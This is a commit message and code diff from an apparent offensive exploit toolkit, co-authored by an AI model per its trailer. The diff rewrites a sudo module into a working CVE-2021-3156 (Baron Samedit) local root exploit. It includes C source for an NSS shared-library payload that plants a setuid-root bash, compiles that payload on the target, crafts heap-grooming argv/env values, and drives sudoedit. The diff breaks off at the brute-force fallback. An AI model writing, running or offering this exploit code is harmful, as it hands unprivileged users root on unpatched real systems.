sudo_samedit: working CVE-2021-3156 (Baron Samedit) exploit — lands real root

The shipped module drove a structural sudoedit trigger with no heap-grooming
offsets and honestly reported EXPLOIT_FAIL. Ported blasty's proven technique:
the `sudoedit -s` set_cmnd() unescape overflow overwrites a glibc NSS
service_user, so the subsequent NSS lookup dlopen's an attacker-planted
libnss_X/'P0P_SH3LLZ_ .so.2' from CWD, whose constructor runs while sudo is
still root.

Implementation follows the corpus's runtime-compile pattern: build the NSS
payload on the target (unique -DSK_PROOF/-DSK_ROOTBASH), lay out the libnss_X/
dir, exec sudoedit with the crafted argv (AAAA..\ / \ / BBBB..\) and env
(null_stomp × "\\", "X/P0P_SH3LLZ_", padded LC_ALL) from that CWD, and verify
root by stat()'ing the root-owned artifacts — never self-report. Grooming
lengths are libc-family specific (Ubuntu 56/54/63/212, Debian 64/49/60/214);
a null_stomp_len ±8 sweep (blasty brute.sh's axis) is the fallback for drift.

Verified out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as uid 1000
(non-sudoer — the overflow precedes the sudoers/password check): `skeletonkey
--exploit sudo_samedit` -> EXPLOIT_OK + a -rwsr-xr-x root:root bash, primary
lengths landing first try. Gated on cc + sudoedit; cleanup() removes artifacts
and the scratch build dir. Unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y

docs/EXPLOITED.md

@@ -30,6 +30,7 @@ tamper check).
 | `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes** — `chdir("/")` + helper basename match; `su skel` → uid 0 |
 | `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
 | `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
+| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
 
 ## Fixed this session
 
@@ -79,6 +80,19 @@ tamper check).
        was the last missing piece.
   Debugging was isolated by driving the exploit orchestration against the public
   PoC's `./fuse`, then swapping servers, then comparing `fops`.
+- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
+  userspace target, **rewritten and now lands real root** (uid=0 witnessed
+  out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
+  non-sudoer). The shipped module drove a structural trigger with no offsets and
+  honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
+  unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
+  an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
+  runs while sudo is still root. The module compiles the NSS payload on the target
+  (unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
+  with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
+  Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
+  lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
+  brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
 - **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
   `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
   was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
@@ -95,7 +109,7 @@ tamper check).
 | module | CVE | target tested | what's wrong |
 |---|---|---|---|
 | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
-| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. |
+| *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
 
 ## Inconclusive (detect version-blind vs vendor backport)
 

docs/VERIFICATIONS.jsonl

@@ -53,3 +53,4 @@
 {"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
 {"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
 {"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
+{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}

modules/sudo_samedit_cve_2021_3156/skeletonkey_modules.c

@@ -1,34 +1,39 @@
 /*
  * sudo_samedit_cve_2021_3156 — SKELETONKEY module
  *
- * STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
+ * STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 /
+ * sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an
+ * unprivileged, non-sudoer user) lands uid=0 and plants a root-owned
+ * proof + setuid-root bash.
  *
  * The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
- * parser unescapes backslashes in the argv it copies into a heap
- * buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
- * invoked in shell-edit mode via `sudoedit -s`, the unescape loop
- * walks past the end of the argv string for arguments ending in a
- * lone backslash, copying adjacent stack/env contents into the
- * undersized heap buffer. The classic trigger is a single-argument
- * command line: `sudoedit -s '\<arbitrary tail>'`.
+ * parser unescapes backslashes in the argv it copies into a heap buffer
+ * in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s`
+ * with an argument ending in a lone backslash, the unescape loop walks
+ * past the end of the argv string, copying adjacent env contents into an
+ * undersized heap buffer. The overflow is exploited (per blasty's PoC) to
+ * overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's
+ * an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its
+ * constructor runs while sudo is still root.
  *
- * Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
+ * Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by
+ * any local user (the overflow precedes the sudoers/password check).
  *
  * Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
  *            baron-samedit-heap-based-overflow-sudo.txt
+ *            PoC technique: github.com/blasty/CVE-2021-3156
  *
- * Detect: shell out to `sudo --version`, parse the printed version,
- * compare against the vulnerable range. We err on the side of
- * reporting OK only when we're confident — TEST_ERROR if the version
- * line is unparseable.
+ * Detect: parse the sudo version (host fingerprint or `sudo --version`)
+ * against the vulnerable range. Distro backports may patch without a
+ * version bump, so a VULNERABLE verdict is "worth trying", confirmed only
+ * by the exploit landing.
  *
- * Exploit: ships a structurally-correct Qualys-style trigger.
- * The full chain in the original PoC required per-distro heap-layout
- * tuning (libc/libnss-files overlap offsets, target struct picks).
- * We do not have empirical landing on this host; we drive the
- * trigger, watch for an obvious uid==0 outcome, otherwise return
- * SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
- * EXPLOIT_OK after geteuid()==0 in a forked verifier.
+ * Exploit: blasty's heap-grooming lengths (per libc family) drive the
+ * overflow; we compile the NSS payload on the target, run sudoedit with
+ * the crafted argv/env from a CWD holding the payload, and confirm root
+ * by stat()'ing the root-owned artifacts — never by self-report. If the
+ * primary lengths miss (libc layout drift), we sweep null_stomp_len like
+ * blasty's brute.sh until root or the range is exhausted.
  */
 
 #include "skeletonkey_modules.h"
@@ -42,26 +47,13 @@
 #include <errno.h>
 #include <fcntl.h>
 #include <ctype.h>
+#include <signal.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
 #include <sys/types.h>
 
 /* ---- Affected-version logic ------------------------------------- */
 
-/*
- * sudo version strings look like:
- *   "Sudo version 1.9.5p2"
- *   "Sudo version 1.8.31"
- *   "Sudo version 1.9.0"
- *   "Sudo version 1.9.5p1"
- *
- * Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
- * Fixed:                        1.9.5p2 and later
- *
- * Parser strategy: extract three integers (major.minor.patch) plus an
- * optional 'pN' suffix. Comparison is lexicographic over
- * (major, minor, patch, p_suffix), treating absent p as 0.
- */
 struct sudo_ver {
     int major;
     int minor;
@@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s)
     v.major = maj;
     v.minor = min;
     v.patch = (n >= 3) ? pat : 0;
-    /* Look for an optional 'pN' suffix after the numeric triple. */
     const char *tail = s + consumed;
     if (*tail == 'p') {
         int p = 0;
@@ -115,18 +106,13 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v)
 static const char *find_sudo(void)
 {
     static const char *candidates[] = {
-        "/usr/bin/sudo",
-        "/usr/local/bin/sudo",
-        "/bin/sudo",
-        "/sbin/sudo",
-        "/usr/sbin/sudo",
-        NULL,
+        "/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo",
+        "/sbin/sudo", "/usr/sbin/sudo", NULL,
     };
     for (size_t i = 0; candidates[i]; i++) {
         struct stat st;
-        if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
+        if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
             return candidates[i];
-        }
     }
     return NULL;
 }
@@ -134,12 +120,8 @@ static const char *find_sudo(void)
 static const char *find_sudoedit(void)
 {
     static const char *candidates[] = {
-        "/usr/bin/sudoedit",
-        "/usr/local/bin/sudoedit",
-        "/bin/sudoedit",
-        "/sbin/sudoedit",
-        "/usr/sbin/sudoedit",
-        NULL,
+        "/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit",
+        "/sbin/sudoedit", "/usr/sbin/sudoedit", NULL,
     };
     for (size_t i = 0; candidates[i]; i++) {
         if (access(candidates[i], X_OK) == 0) return candidates[i];
@@ -151,30 +133,21 @@ static const char *find_sudoedit(void)
 
 static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
 {
-    /* Prefer the centrally-fingerprinted sudo version (populated once
-     * at startup by core/host.c) — saves a popen per scan and gives
-     * unit tests a clean mock point. Fall back to the local popen if
-     * ctx->host is missing the version (e.g. degenerate test ctx, or
-     * a future refactor that disables userspace probing). */
     char line[256] = {0};
     if (ctx->host && ctx->host->sudo_version[0]) {
-        snprintf(line, sizeof line, "Sudo version %s",
-                 ctx->host->sudo_version);
-        if (!ctx->json) {
+        snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version);
+        if (!ctx->json)
             fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
                 "sudo version %s\n", ctx->host->sudo_version);
-        }
     } else {
         const char *sudo_path = find_sudo();
         if (!sudo_path) {
-            if (!ctx->json) {
+            if (!ctx->json)
                 fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
-            }
             return SKELETONKEY_PRECOND_FAIL;
         }
-        if (!ctx->json) {
+        if (!ctx->json)
             fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
-        }
         char cmd[512];
         snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
         FILE *p = popen(cmd, "r");
@@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
         char *r = fgets(line, sizeof line, p);
         pclose(p);
         if (!r) {
-            if (!ctx->json) {
+            if (!ctx->json)
                 fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
-            }
             return SKELETONKEY_TEST_ERROR;
         }
     }
 
-    /* Trim newline for nicer logging. */
     char *nl = strchr(line, '\n');
     if (nl) *nl = 0;
 
     struct sudo_ver v = parse_sudo_version(line);
     if (!v.parsed) {
-        if (!ctx->json) {
+        if (!ctx->json)
             fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
-        }
         return SKELETONKEY_TEST_ERROR;
     }
 
@@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
         fprintf(stderr, "\n");
     }
 
-    bool vuln = sudo_version_vulnerable(&v);
-    if (vuln) {
-        if (!ctx->json) {
+    if (sudo_version_vulnerable(&v)) {
+        if (!ctx->json)
             fprintf(stderr,
                 "[!] sudo_samedit: version is in vulnerable range "
                 "[1.8.2, 1.9.5p1] → VULNERABLE\n"
                 "[i] sudo_samedit: distro backports may have patched "
                 "without bumping the upstream version; check\n"
-                "    `apt-cache policy sudo` / `rpm -q --changelog sudo` "
-                "for CVE-2021-3156.\n");
-        }
+                "    `apt-cache policy sudo` for CVE-2021-3156.\n");
         return SKELETONKEY_VULNERABLE;
     }
-    if (!ctx->json) {
+    if (!ctx->json)
         fprintf(stderr,
             "[+] sudo_samedit: version is outside vulnerable range "
             "(fix 1.9.5p2+) — OK\n");
-    }
     return SKELETONKEY_OK;
 }
 
-/* ---- Exploit ----------------------------------------------------- */
+/* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */
 
-/*
- * Qualys-style trigger:
- *
- *   argv = { "sudoedit", "-s", "\\", NULL }   plus padding `A`s to
- *   stretch the heap chunk to the right size for the target overlap.
- *
- * The original PoC sprays hundreds of large argv slots and tunes the
- * tail bytes per-distro to hijack a `service_user *` struct in
- * libnss-files. Without distro fingerprinting and the corresponding
- * offset table that landing simply will not happen here; rather than
- * pretending otherwise we drive the bug, fork a verifier that checks
- * for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
- */
+/* NSS payload source, compiled on the target into
+ * <workdir>/libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo
+ * is still root (the corrupted NSS lookup dlopen's it); it plants a
+ * root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are
+ * passed at compile time (the process env is the exploit vector, so we
+ * can't smuggle paths through it). */
+static const char samedit_payload_src[] =
+    "#define _GNU_SOURCE\n"
+    "#include <unistd.h>\n"
+    "#include <stdlib.h>\n"
+    "static void __attribute__((constructor)) _sk_init(void);\n"
+    "static void _sk_init(void){\n"
+    "  setuid(0); seteuid(0); setgid(0); setegid(0);\n"
+    "  if (geteuid()!=0) return;            /* brute miss — don't drop */\n"
+    "  system(\"id > \" SK_PROOF \" 2>&1; \"\n"
+    "         \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n"
+    "         \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n"
+    "         \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n"
+    "  _exit(0);\n"
+    "}\n";
 
-/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
- * to stay well under typical ARG_MAX while still exercising the bug
- * shape. */
-#define SUDO_SAMEDIT_ARGC   64
-#define SUDO_SAMEDIT_PADLEN 0xff
+/* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share
+ * one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */
+struct samedit_target {
+    const char *name;
+    int smash_a, smash_b, null_stomp, lc_all;
+};
+static const struct samedit_target samedit_ubuntu = {
+    "Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212
+};
+static const struct samedit_target samedit_debian = {
+    "Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214
+};
+
+static const char *samedit_find_cc(void)
+{
+    static const char *ccs[] = {
+        "/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
+        "/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
+    };
+    for (size_t i = 0; ccs[i]; i++)
+        if (access(ccs[i], X_OK) == 0) return ccs[i];
+    return NULL;
+}
+
+/* fork/exec argv, redirect stdio away, wait with a timeout. */
+static int samedit_run(char *const argv[], const char *cwd, int secs)
+{
+    pid_t p = fork();
+    if (p < 0) return -1;
+    if (p == 0) {
+        if (cwd && chdir(cwd) != 0) _exit(126);
+        int dn = open("/dev/null", O_RDWR);
+        if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
+        execv(argv[0], argv);
+        _exit(127);
+    }
+    for (int i = 0; i < secs * 20; i++) {
+        int st;
+        pid_t r = waitpid(p, &st, WNOHANG);
+        if (r == p) return 0;
+        if (r < 0) return -1;
+        usleep(50 * 1000);
+    }
+    kill(p, SIGKILL);
+    waitpid(p, NULL, 0);
+    return -2;
+}
+
+/* Run one sudoedit attempt with the given grooming lengths; returns true
+ * iff the OOB proof file now exists and is root-owned. */
+static bool samedit_try(const char *sudoedit, const char *workdir,
+                        int a, int b, int null_stomp, int lc_all,
+                        const char *proof)
+{
+    unlink(proof);
+
+    char *smash_a = calloc(a + 2, 1);
+    char *smash_b = calloc(b + 2, 1);
+    char *lc = calloc(lc_all + 32, 1);
+    if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; }
+    memset(smash_a, 'A', a); smash_a[a] = '\\';
+    memset(smash_b, 'B', b); smash_b[b] = '\\';
+    strcpy(lc, "LC_ALL=C.UTF-8@");
+    memset(lc + 15, 'C', lc_all);
+
+    char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a,
+                       (char *)"\\", smash_b, NULL };
+
+    /* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */
+    char **s_envp = calloc(null_stomp + 4, sizeof(char *));
+    if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; }
+    int pos = 0;
+    for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\";
+    s_envp[pos++] = (char *)"X/P0P_SH3LLZ_";
+    s_envp[pos++] = lc;
+    s_envp[pos++] = NULL;
+
+    /* We need a custom envp, so exec directly here in a child. */
+    pid_t p = fork();
+    if (p == 0) {
+        if (chdir(workdir) != 0) _exit(126);
+        int dn = open("/dev/null", O_RDWR);
+        if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
+        execve(sudoedit, s_argv, s_envp);
+        _exit(127);
+    }
+    if (p > 0) {
+        for (int i = 0; i < 20 * 20; i++) {   /* up to ~20s */
+            int st; pid_t r = waitpid(p, &st, WNOHANG);
+            if (r == p) break;
+            if (r < 0) break;
+            usleep(50 * 1000);
+        }
+        int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); }
+    }
+
+    free(smash_a); free(smash_b); free(lc); free(s_envp);
+
+    struct stat sb;
+    return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
+}
+
+/* Remember what we planted / where, for cleanup(). */
+static char samedit_workdir[256];
+static char samedit_rootbash[256];
+static char samedit_proof[256];
 
 static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
 {
     if (!ctx->authorized) {
-        fprintf(stderr,
-            "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
+        fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
         return SKELETONKEY_PRECOND_FAIL;
     }
-
     bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
     if (is_root) {
         fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
         return SKELETONKEY_OK;
     }
 
-    /* Re-detect before doing anything visible. Defends against the
-     * detect-then-exploit TOCTOU where the operator upgrades sudo
-     * between scan and pop. */
     skeletonkey_result_t pre = sudo_samedit_detect(ctx);
     if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
@@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
 
     const char *sudoedit = find_sudoedit();
     if (!sudoedit) {
-        /* On most distros sudoedit is a symlink to sudo. Fall back. */
-        const char *sudo = find_sudo();
-        if (!sudo) {
-            fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
-            return SKELETONKEY_PRECOND_FAIL;
-        }
-        sudoedit = sudo;
-        if (!ctx->json) {
-            fprintf(stderr,
-                "[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
-                sudo);
-        }
+        fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n");
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+    const char *cc = samedit_find_cc();
+    if (!cc) {
+        fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS "
+                        "payload. Honest EXPLOIT_FAIL.\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
-    if (!ctx->json) {
-        fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n");
-        fprintf(stderr,
-            "[!] sudo_samedit: heads-up — public exploitation requires\n"
-            "    per-distro heap-overlap offsets (libnss-files / libc).\n"
-            "    Without that tuning the bug crashes sudo instead of\n"
-            "    handing back a shell. We will drive the trigger and\n"
-            "    verify uid==0 outcome empirically; on failure we report\n"
-            "    EXPLOIT_FAIL rather than claiming success.\n");
-    }
+    /* Pick the grooming length-set by libc family (distro proxy). */
+    const struct samedit_target *tgt = &samedit_ubuntu;
+    if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian;
+    if (!ctx->json)
+        fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name);
 
-    /* Build argv. argv[0]="sudoedit", argv[1]="-s",
-     * argv[2]="\\" + padding, ..., argv[N-1]=NULL.
-     *
-     * Each padding arg is the Qualys-style "A...\\" repeating tail.
-     * On a vulnerable target this drives the unescape loop past the
-     * end of the heap buffer. */
-    char *argv[SUDO_SAMEDIT_ARGC + 1];
-    char *padbufs[SUDO_SAMEDIT_ARGC];
-    memset(padbufs, 0, sizeof padbufs);
+    /* Scratch workdir with the NSS payload dir. */
+    char tmpl[] = "/tmp/.sk-samedit-XXXXXX";
+    char *wd = mkdtemp(tmpl);
+    if (!wd) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
+    snprintf(samedit_workdir, sizeof samedit_workdir, "%s", wd);
 
-    argv[0] = (char *)"sudoedit";
-    argv[1] = (char *)"-s";
-    /* argv[2] is the canonical trailing-backslash trigger. */
-    argv[2] = strdup("\\");
-    if (!argv[2]) return SKELETONKEY_TEST_ERROR;
+    long tag = (long)getpid();
+    snprintf(samedit_proof,    sizeof samedit_proof,    "/tmp/.sk-samedit-%ld.proof",    tag);
+    snprintf(samedit_rootbash, sizeof samedit_rootbash, "/tmp/.sk-samedit-%ld.rootbash", tag);
 
-    for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) {
-        char *buf = (char *)malloc(SUDO_SAMEDIT_PADLEN + 4);
-        if (!buf) {
-            for (int j = 3; j < i; j++) free(padbufs[j]);
-            free(argv[2]);
-            return SKELETONKEY_TEST_ERROR;
-        }
-        memset(buf, 'A', SUDO_SAMEDIT_PADLEN);
-        buf[SUDO_SAMEDIT_PADLEN]     = '\\';
-        buf[SUDO_SAMEDIT_PADLEN + 1] = 0;
-        padbufs[i] = buf;
-        argv[i] = buf;
-    }
-    argv[SUDO_SAMEDIT_ARGC] = NULL;
-
-    /* Craft envp mirroring the original PoC: LC_... and TZ tricks
-     * that landed the overlap on the canonical distro PoCs. These
-     * are harmless if landing fails; their value is positioning the
-     * heap so the overflow lands on a useful target. */
-    char *envp[] = {
-        (char *)"LC_ALL=C.UTF-8@",
-        (char *)"TZ=:",
-        (char *)"LC_CTYPE=C.UTF-8@",
-        (char *)"SUDO_EDITOR=A",
-        (char *)"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
-        NULL,
-    };
-
-    if (!ctx->json) {
-        fprintf(stderr, "[*] sudo_samedit: forking trigger child (%s argv[0]=sudoedit)\n",
-                sudoedit);
-    }
-
-    pid_t pid = fork();
-    if (pid < 0) {
-        perror("fork");
-        free(argv[2]);
-        for (int i = 3; i < SUDO_SAMEDIT_ARGC; i++) free(padbufs[i]);
+    char nssdir[300], payload_c[320], nsslib[512], log_unused[300];
+    (void)log_unused;
+    snprintf(nssdir,    sizeof nssdir,    "%s/libnss_X", wd);
+    snprintf(payload_c, sizeof payload_c, "%s/payload.c", wd);
+    snprintf(nsslib,    sizeof nsslib,    "%s/libnss_X/P0P_SH3LLZ_ .so.2", wd);
+    if (mkdir(nssdir, 0755) != 0 && errno != EEXIST) {
+        perror("mkdir libnss_X");
         return SKELETONKEY_TEST_ERROR;
     }
-    if (pid == 0) {
-        /* Child: drive the trigger. If the bug lands and we get a
-         * root context, the chain in the original PoC then re-execs
-         * a shell. We don't ship that shell-spawn here — we just
-         * exit nonzero so the parent's verifier can sample uid. */
-        execve(sudoedit, argv, envp);
-        /* execve failed (binary missing or kernel-blocked). */
-        _exit(127);
+
+    /* Write + compile the NSS payload. */
+    int fd = open(payload_c, O_WRONLY | O_CREAT | O_TRUNC, 0600);
+    if (fd < 0) { perror("open payload.c"); return SKELETONKEY_TEST_ERROR; }
+    (void)!write(fd, samedit_payload_src, sizeof samedit_payload_src - 1);
+    close(fd);
+
+    char dP[320], dR[320];
+    snprintf(dP, sizeof dP, "-DSK_PROOF=\"%s\"",    samedit_proof);
+    snprintf(dR, sizeof dR, "-DSK_ROOTBASH=\"%s\"", samedit_rootbash);
+    char *cc_argv[] = {
+        (char *)cc, (char *)"-fPIC", (char *)"-shared", (char *)"-O2", (char *)"-w",
+        (char *)"-o", nsslib, payload_c, dP, dR, NULL,
+    };
+    if (!ctx->json)
+        fprintf(stderr, "[*] sudo_samedit: building NSS payload with %s\n", cc);
+    if (samedit_run(cc_argv, NULL, 60) != 0) {
+        fprintf(stderr, "[-] sudo_samedit: payload compile failed\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
-    int status = 0;
-    waitpid(pid, &status, 0);
+    if (!ctx->json)
+        fprintf(stderr, "[*] sudo_samedit: driving sudoedit heap overflow "
+                        "(primary lengths %d/%d/%d/%d)\n",
+                tgt->smash_a, tgt->smash_b, tgt->null_stomp, tgt->lc_all);
 
-    /* Verifier: even on the rare "no crash" path, we don't know if
-     * the bug landed without spawning a privileged helper. Per the
-     * verified-vs-claimed bar, only claim success if uid is 0 in a
-     * post-trigger probe (which would require the chain to have
-     * persisted a setuid artifact — it didn't). So: report honestly. */
-    if (geteuid() == 0) {
-        if (!ctx->json) {
-            fprintf(stderr, "[+] sudo_samedit: post-trigger geteuid()==0 — root!\n");
+    /* Primary attempt with the profile's exact lengths. */
+    bool rooted = samedit_try(sudoedit, wd, tgt->smash_a, tgt->smash_b,
+                              tgt->null_stomp, tgt->lc_all, samedit_proof);
+
+    /* Fallback: sweep null_stomp_len around the profile value (libc drift),
+     * exactly the axis blasty's brute.sh perturbs. Bounded + stops on root. */
